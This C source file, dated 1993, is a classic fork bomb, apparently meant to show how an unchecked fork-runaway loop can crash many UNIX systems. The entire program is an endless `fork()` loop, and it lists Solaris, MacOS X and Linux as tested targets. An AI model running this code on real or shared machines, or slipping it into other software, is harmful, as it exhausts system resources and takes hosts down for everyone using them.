forkbunny.c

/**
   @file      forkbunny.c
   @author    Mitch Richling <http://www.mitchr.me/>
   @Copyright Copyright 1993 by Mitch Richling.  All rights reserved.
   @brief     fork-runaway program for UNIX@EOL
   @Keywords  UNIX fork runaway
   @Std       ISOC POSIX UNIX98

              This program demonstrates how dangerous a fork-runaway
              program can be on many UNIX hosts.  This program has the
              ability to bring down many versions of UNIX.  The reason
              is that it is more efficient not to check on the number
              of children a process has or how fast they are being
              produced.  This is the classic operating system tradeoff
              decision between security and performance being played
              out.

   @Tested    
              - Solaris 2.8
              - MacOS X.2
              - Linux (RH 7.3)
 */

#include <sys/types.h>          /* UNIX types      POSIX */
#include <unistd.h>             /* UNIX std stf    POSIX */

int main(int argc, char *argv[]);

int main(int argc, char *argv[]) {
  while(1)
    fork();
  return 0;                     /* Never get here, but still.... :) */
} /* end func main */